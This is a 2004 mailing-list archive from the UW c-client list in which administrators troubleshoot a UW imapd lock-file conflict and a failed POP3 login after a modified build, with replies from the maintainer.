mailnull) for mailarch+c-client; Tue, 5 Oct 2004 06:37:05 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i95Db5jD012107 for ; Tue, 5 Oct 2004 06:37:05 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i95Db46t021550 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 5 Oct 2004 06:37:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i95DaD91007626; Tue, 5 Oct 2004 06:36:15 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i95DYqkJ122018 for ; Tue, 5 Oct 2004 06:34:52 -0700 Received: from ariel.utcc.utoronto.ca (ariel.utcc.utoronto.ca [128.100.103.95]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i95DYqZ6002166 for ; Tue, 5 Oct 2004 06:34:52 -0700 Received: from ip@localhost (fake: stdin (EHLO localhost) (ident: uid#103@localhost)) by ariel.utcc.utoronto.ca with ESMTP id <94-22123>; Tue, 5 Oct 2004 09:34:50 -0400 Message-Id: Date: Tue, 5 Oct 2004 09:34:44 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Peter Ip To: Frode Nordahl Cc: c-client@u.washington.edu Subject: Re: locking problem in imap-2002b In-Reply-To: <102D60B0-16A1-11D9-99CC-000A95A9A574@nordahl.net> References: <102D60B0-16A1-11D9-99CC-000A95A9A574@nordahl.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: Peter Ip X-X-Sender: ip@ariel.utcc.utoronto.ca X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P1_5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Frode, No, we're not using RedHat's RPM's. I've compiled our own. Thanks Peter _____________________________________________________ Peter Ip, PhD Computing and Network Services, University of Toronto email: peter.ip@utoronto.ca On Tue, 5 Oct 2004, Frode Nordahl wrote: > From: Frode Nordahl > To: Peter Ip > Cc: c-client@u.washington.edu > Date: Tue, 5 Oct 2004 09:35:00 +0200 > Subject: Re: locking problem in imap-2002b > > On Oct 4, 2004, at 22:40, Peter Ip wrote: > >> Hi, >> >> I'm running imap-2002b on RedHat AS3. > > Are you running with RedHat's RPM's or have you compiled your own version? > > RedHat patches imap-uw, replacing imap-uw's locking functions (using fcntl). > > In my experience, this causes things to lock agains eachother everywhere, and > bypasses IMAP's kiss of death method, since the fcntl syscall is just > restarted when it recieves the signal. > > Mvh, > Frode Nordahl > >> A user using Netscape Messenger couldn't compact his INBOX - imap said >> the INBOX was read-only. When I looked on the server, another user >> held the lock file in /tmp: >> >> # ls -li INBOX >> 7094292 -rw------- 1 64763 mailusr 178262 Oct 4 16:31 INBOX >> >> # ls -l /tmp/.*.6c4014 >> -rw-rw-rw- 1 23048 mailusr 5 Oct 4 06:52 /tmp/.891.6c4014 >> >> User 23048 had an imapd process: >> >> # ps -uawx | grep 23048 >> #23048 27815 0.0 0.0 4656 1896 ? S 06:52 0:00 imapd >> root 30656 0.0 0.0 1616 496 pts/1 S 15:18 0:00 grep 27815 >> >> The INBOX for user 23048 had inode number 7094295. Is there a race >> condition that is being tickled? I looked in the RELNOTES for imap-2004a >> but couldn't see anything relevant. >> >> Peter >> >> _____________________________________________________ >> Peter Ip, PhD >> Computing and Network Services, University of Toronto >> email: peter.ip@utoronto.ca >> -- >> ------------------------------------------------------------------ >> For information about this mailing list, and its archives, see: >> http://www.washington.edu/imap/c-client-list.html >> ------------------------------------------------------------------ > > From pinedev@shivax2.cac.washington.edu Tue Oct 5 07:14:35 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 5 Oct 2004 07:14:35 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i95EEZWW013000 for ; Tue, 5 Oct 2004 07:14:35 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i95EEY1A022758 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 5 Oct 2004 07:14:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i95ECrW1012770; Tue, 5 Oct 2004 07:12:53 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i95EBlER053666 for ; Tue, 5 Oct 2004 07:11:47 -0700 Received: from sphinx.hamla.org (sphinx.hamla.org [69.55.228.24]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i95EBlpG023556 for ; Tue, 5 Oct 2004 07:11:47 -0700 Received: from localhost (sphinx [69.55.228.24]) by sphinx.hamla.org (Postfix) with ESMTP id DA8AF2C3A9 for ; Tue, 5 Oct 2004 10:11:46 -0400 (EDT) Received: from sphinx.hamla.org ([69.55.228.24]) by localhost (sphinx.hamla.org [69.55.228.24]) (amavisd-new, port 10024) with ESMTP id 83075-03 for ; Tue, 5 Oct 2004 10:11:46 -0400 (EDT) Received: from sphinx.hamla.org (sphinx [69.55.228.24]) by sphinx.hamla.org (Postfix) with ESMTP id 2F7C22C3A8 for ; Tue, 5 Oct 2004 10:11:46 -0400 (EDT) Received: from hqinbh8-x0.ms.com (hqinbh8-x0.ms.com [205.228.12.40]) by webmail.hamla.org (IMP) with HTTP for ; Tue, 5 Oct 2004 10:11:46 -0400 Message-Id: <1096985506.4162aba207af1@webmail.hamla.org> Date: Tue, 5 Oct 2004 10:11:46 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: sahil@hamla.org To: c-client@u.washington.edu Subject: Re: locking problem in imap-2002b In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Originating-IP: 205.228.12.40 X-Virus-Scanned: by ClamAV at sphinx.hamla.org X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Quoting Peter Ip : [...] > A user using Netscape Messenger couldn't compact his INBOX - imap said > the INBOX was read-only. When I looked on the server, another user > held the lock file in /tmp: Just to clarify, user 23048 held the lockfile for user 64763's INBOX? [...] -- Sahil Tandon From pinedev@shivax2.cac.washington.edu Tue Oct 5 11:32:01 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 5 Oct 2004 11:32:01 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i95IW15l024417 for ; Tue, 5 Oct 2004 11:32:01 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i95IW08A028913 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 5 Oct 2004 11:32:01 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i95IV4jN015950; Tue, 5 Oct 2004 11:31:04 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i95IT2F2092932 for ; Tue, 5 Oct 2004 11:29:02 -0700 Received: from ariel.utcc.utoronto.ca (ariel.utcc.utoronto.ca [128.100.103.95]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i95ISvbn008103 for ; Tue, 5 Oct 2004 11:29:00 -0700 Received: from ip@localhost (fake: stdin (EHLO localhost) (ident: uid#103@localhost)) by ariel.utcc.utoronto.ca with ESMTP id <94-22119>; Tue, 5 Oct 2004 14:28:53 -0400 Message-Id: Date: Tue, 5 Oct 2004 14:28:39 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Peter Ip To: sahil@hamla.org Cc: c-client@u.washington.edu Subject: Re: locking problem in imap-2002b In-Reply-To: <1096985506.4162aba207af1@webmail.hamla.org> References: <1096985506.4162aba207af1@webmail.hamla.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: Peter Ip X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P1_5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, On Tue, 5 Oct 2004 sahil@hamla.org wrote: > From: sahil@hamla.org > To: c-client@u.washington.edu > Date: Tue, 5 Oct 2004 10:11:46 -0400 > Subject: Re: locking problem in imap-2002b > > Quoting Peter Ip : > > [...] > >> A user using Netscape Messenger couldn't compact his INBOX - imap said >> the INBOX was read-only. When I looked on the server, another user >> held the lock file in /tmp: > > Just to clarify, user 23048 held the lockfile for user 64763's INBOX? > Yes, that's correct. Peter _____________________________________________________ Peter Ip, PhD Computing and Network Services, University of Toronto email: peter.ip@utoronto.ca From pinedev@shivax2.cac.washington.edu Tue Oct 5 14:11:47 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 5 Oct 2004 14:11:46 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i95LBkTb030475 for ; Tue, 5 Oct 2004 14:11:46 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i95LBjpN009494 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 5 Oct 2004 14:11:46 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i95LBaKg008586; Tue, 5 Oct 2004 14:11:42 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i95L9Ma5112396 for ; Tue, 5 Oct 2004 14:09:22 -0700 Received: from sphinx.hamla.org (sphinx.hamla.org [69.55.228.24]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i95L9LHW012872 for ; Tue, 5 Oct 2004 14:09:22 -0700 Received: from localhost (sphinx [69.55.228.24]) by sphinx.hamla.org (Postfix) with ESMTP id 4FCE82C3AA for ; Tue, 5 Oct 2004 17:09:20 -0400 (EDT) Received: from sphinx.hamla.org ([69.55.228.24]) by localhost (sphinx.hamla.org [69.55.228.24]) (amavisd-new, port 10024) with ESMTP id 63225-09 for ; Tue, 5 Oct 2004 17:09:18 -0400 (EDT) Received: from sphinx.hamla.org (sphinx [69.55.228.24]) by sphinx.hamla.org (Postfix) with ESMTP id DD98A2C3A8 for ; Tue, 5 Oct 2004 17:09:17 -0400 (EDT) Received: from hqinbh7-x0.ms.com (hqinbh7-x0.ms.com [205.228.12.39]) by webmail.hamla.org (IMP) with HTTP for ; Tue, 5 Oct 2004 17:09:17 -0400 Message-Id: <1097010557.41630d7daf671@webmail.hamla.org> Date: Tue, 5 Oct 2004 17:09:17 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: sahil@hamla.org To: c-client@u.washington.edu Subject: Re: locking problem in imap-2002b In-Reply-To: References: <1096985506.4162aba207af1@webmail.hamla.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Originating-IP: 205.228.12.39 X-Virus-Scanned: by ClamAV at sphinx.hamla.org X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Quoting Peter Ip : [...] > > Just to clarify, user 23048 held the lockfile for user 64763's INBOX? > > Yes, that's correct. Ok. :) Now, how is that possible if 64763's INBOX is u+rw, with everyone else (including those in the mailuser group) lacking permission? [...] -- Sahil Tandon From pinedev@shivax2.cac.washington.edu Tue Oct 5 22:54:18 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 5 Oct 2004 22:54:18 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i965sI8x014604 for ; Tue, 5 Oct 2004 22:54:18 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i965sGGL003620 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 5 Oct 2004 22:54:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i965s6d3013756; Tue, 5 Oct 2004 22:54:07 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i965q04l119932 for ; Tue, 5 Oct 2004 22:52:00 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i965q0Lm024672 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 5 Oct 2004 22:52:00 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i965pt6m024257; Tue, 5 Oct 2004 22:51:55 -0700 Received: from Shimo-Tomobiki.Panda.COM ([70.214.63.123]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i965pHsL023268 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 5 Oct 2004 22:51:51 -0700 Message-Id: Date: Tue, 5 Oct 2004 22:51:05 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Zvonko Cc: c-client@u.washington.edu Subject: Re: ipop3/imap4 login problem In-Reply-To: <4161D19D.1070503@harije.si> References: <4161D19D.1070503@harije.si> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN What operating system are you using? You seem to have obtained a modified distribution, because there is no such build option as -D WITH_SSL_AND_PLAINTEXT in the UW distribution. Have you tried the original UW distribution, on ftp://ftp.cac.washington.edu/mail/imap.tar.Z -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Oct 6 06:37:40 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 6 Oct 2004 06:37:40 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i96DbeMb031849 for ; Wed, 6 Oct 2004 06:37:40 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i96Dbddh015283 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 6 Oct 2004 06:37:40 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i96DbYRj013538; Wed, 6 Oct 2004 06:37:35 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i96DZ9YO036732 for ; Wed, 6 Oct 2004 06:35:09 -0700 Received: from user123.c2.studioproteus.si (user123.c2.studioproteus.si [213.253.97.123]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i96DZ7oo001728 for ; Wed, 6 Oct 2004 06:35:08 -0700 Received: from athlon (BSN-77-143-57.dsl.siol.net [193.77.143.57]) by user123.c2.studioproteus.si (8.12.10/8.12.10) with ESMTP id i96DZVcl020325 for ; Wed, 6 Oct 2004 15:35:32 +0200 Message-Id: <4163F48A.1000107@harije.si> Date: Wed, 06 Oct 2004 15:35:06 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Zvonko To: c-client@u.washington.edu Subject: Re: ipop3/imap4 login problem In-Reply-To: <4161D19D.1070503@harije.si> References: <4161D19D.1070503@harije.si> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="------------070008020208040004000309" X-Accept-Language: en-us, en X-Antivirus: avast! (VPS 0441-0, 04.10.2004), Outbound message X-Antivirus-Status: Not-Tested X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__BAT_BOUNDARY 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTYPE_MULTIPART_ALT 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __RATWARE_SIGNATURE_3_N1 0, __SANE_MSGID 0, __TAG_EXISTS_BODY 0, __TAG_EXISTS_HEAD 0, __TAG_EXISTS_HTML 0, __TAG_EXISTS_META 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------070008020208040004000309 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit My operating system is FreeBSD and I obtained UW from FreeBSD's ports collection. I have not yet tried the original distibution. Althoug I believe I should. I'll see when I have time. Zvonko Mark Crispin wrote: What operating system are you using? You seem to have obtained a modified distribution, because there is no such build option as -D WITH_SSL_AND_PLAINTEXT in the UW distribution. Have you tried the original UW distribution, on ftp://ftp.cac.washington.edu/mail/imap.tar.Z -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. Zvonko wrote: > hello > > I recently compiled uw-imap and I use imap and pop2/3 server. However, > now I cannot login to server with my user name and password. > > Here's the printout from login attempt to pop server: > wlan# telnet localhost pop3 > Trying ::1... > telnet: connect to address ::1: Connection refused > Trying 127.0.0.1... > Connected to localhost.wlan.harije.si. > Escape character is '^]'. > +OK POP3 localhost.wlan.harije.si 2004.88 server ready > user Zvonko > +OK User name accepted, password please > pass abcdef > Connection closed by foreign host. > wlan# > > > Does anyone know where the error is? > I compiled imap with the following options: > wlan# make PASSWDTYPE=pam -D WITH_SSL_AND_PLAINTEXT > > All suggestions are welcome > > Thanks in advance. > > Regards > Zvonko --------------070008020208040004000309 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit My operating system is FreeBSD and I obtained UW from FreeBSD's ports collection.

    I have not yet tried the original distibution. Althoug I believe I should. I'll see when I have time.


    Zvonko




    Mark Crispin wrote:

         What operating system are you using?

         You seem to have obtained a modified distribution, because there is no such build option as -D   
         WITH_SSL_AND_PLAINTEXT in the UW distribution.

         Have you tried the original UW distribution, on
                ftp://ftp.cac.washington.edu/mail/imap.tar.Z

         -- Mark --

         http://staff.washington.edu/mrc
         Science does not emerge from voting, party politics, or public debate.
         Si vis pacem, para bellum.


    Zvonko wrote:
    hello

    I recently compiled uw-imap and I use imap and pop2/3 server. However, now I cannot login to server with my user name and password.

    Here's the printout from login attempt to pop server:
      wlan# telnet localhost pop3
      Trying ::1...
      telnet: connect to address ::1: Connection refused
      Trying 127.0.0.1...
      Connected to localhost.wlan.harije.si.
      Escape character is '^]'.
      +OK POP3 localhost.wlan.harije.si 2004.88 server ready
      user Zvonko
      +OK User name accepted, password please
      pass abcdef
      Connection closed by foreign host.
      wlan#


    Does anyone know where the error is?
    I compiled imap with the following options:
      wlan# make PASSWDTYPE=pam -D WITH_SSL_AND_PLAINTEXT

    All suggestions are welcome

    Thanks in advance.

    Regards
    Zvonko
    --------------070008020208040004000309-- From pinedev@shivax2.cac.washington.edu Wed Oct 6 07:49:07 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 6 Oct 2004 07:49:07 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i96En7OJ001589 for ; Wed, 6 Oct 2004 07:49:07 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i96En6ne018466 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 6 Oct 2004 07:49:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i96EmtIV010754; Wed, 6 Oct 2004 07:48:55 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i96El0l4052330 for ; Wed, 6 Oct 2004 07:47:01 -0700 Received: from ariel.utcc.utoronto.ca (ariel.utcc.utoronto.ca [128.100.103.95]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i96EkxP6010626 for ; Wed, 6 Oct 2004 07:47:00 -0700 Received: from ip@localhost (fake: stdin (EHLO localhost) (ident: uid#103@localhost)) by ariel.utcc.utoronto.ca with ESMTP id <94-3913>; Wed, 6 Oct 2004 10:46:57 -0400 Message-Id: Date: Wed, 6 Oct 2004 10:46:47 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Peter Ip To: sahil@hamla.org Cc: c-client@u.washington.edu Subject: Re: locking problem in imap-2002b In-Reply-To: <1097010557.41630d7daf671@webmail.hamla.org> References: <1096985506.4162aba207af1@webmail.hamla.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: Peter Ip X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P1_5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Sahil, On Tue, 5 Oct 2004 sahil@hamla.org wrote: > From: sahil@hamla.org > To: c-client@u.washington.edu > Date: Tue, 5 Oct 2004 17:09:17 -0400 > Subject: Re: locking problem in imap-2002b > > Quoting Peter Ip : > > [...] > >>> Just to clarify, user 23048 held the lockfile for user 64763's INBOX? >> >> Yes, that's correct. > > Ok. :) Now, how is that possible if 64763's INBOX is u+rw, with everyone else > (including those in the mailuser group) lacking permission? > Well, actually, user 23048 had his own INBOX opened, not 64763's. So it's not the permissions on the INBOXes that are the problem. It's that the lock file in /tmp had the inode of 64763's INBOX. Could there be a race condition? These are unix format inboxes. (We are slowly migrating to MBX format.) Is there a situation where a temporary INBOX is created e.g. for expunge and if two imapds are running at the same time that one imapd gets the inode of another's temp file? Peter _____________________________________________________ Peter Ip, PhD Computing and Network Services, University of Toronto email: peter.ip@utoronto.ca From pinedev@shivax2.cac.washington.edu Wed Oct 6 11:46:02 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 6 Oct 2004 11:46:02 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i96Ik2cq013484 for ; Wed, 6 Oct 2004 11:46:02 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i96IjxgE018595 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 6 Oct 2004 11:45:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i96Ijmkw012380; Wed, 6 Oct 2004 11:45:48 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i96IiSoa022282 for ; Wed, 6 Oct 2004 11:44:28 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i96IiRrq014083 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 6 Oct 2004 11:44:28 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i96IiRsU027610; Wed, 6 Oct 2004 11:44:27 -0700 Received: from Shimo-Tomobiki.Panda.COM (64.221.254.66.ptr.us.xo.net [64.221.254.66]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i96IiM0R014630 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 6 Oct 2004 11:44:25 -0700 Message-Id: Date: Wed, 6 Oct 2004 11:44:14 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Peter Ip Cc: sahil@hamla.org, c-client@u.washington.edu Subject: Re: locking problem in imap-2002b In-Reply-To: References: <1096985506.4162aba207af1@webmail.hamla.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 6 Oct 2004, Peter Ip wrote: > These are unix format inboxes. (We are slowly migrating to MBX format.) > Is there a situation where a temporary INBOX is created e.g. for expunge > and if two imapds are running at the same time that one imapd gets the > inode of another's temp file? Nothing like that happens in UW imapd, so whatever is going on is something else. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Oct 6 13:20:47 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 6 Oct 2004 13:20:47 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i96KKlHl018136 for ; Wed, 6 Oct 2004 13:20:47 -0700 Received: from list2.u.washington.edu 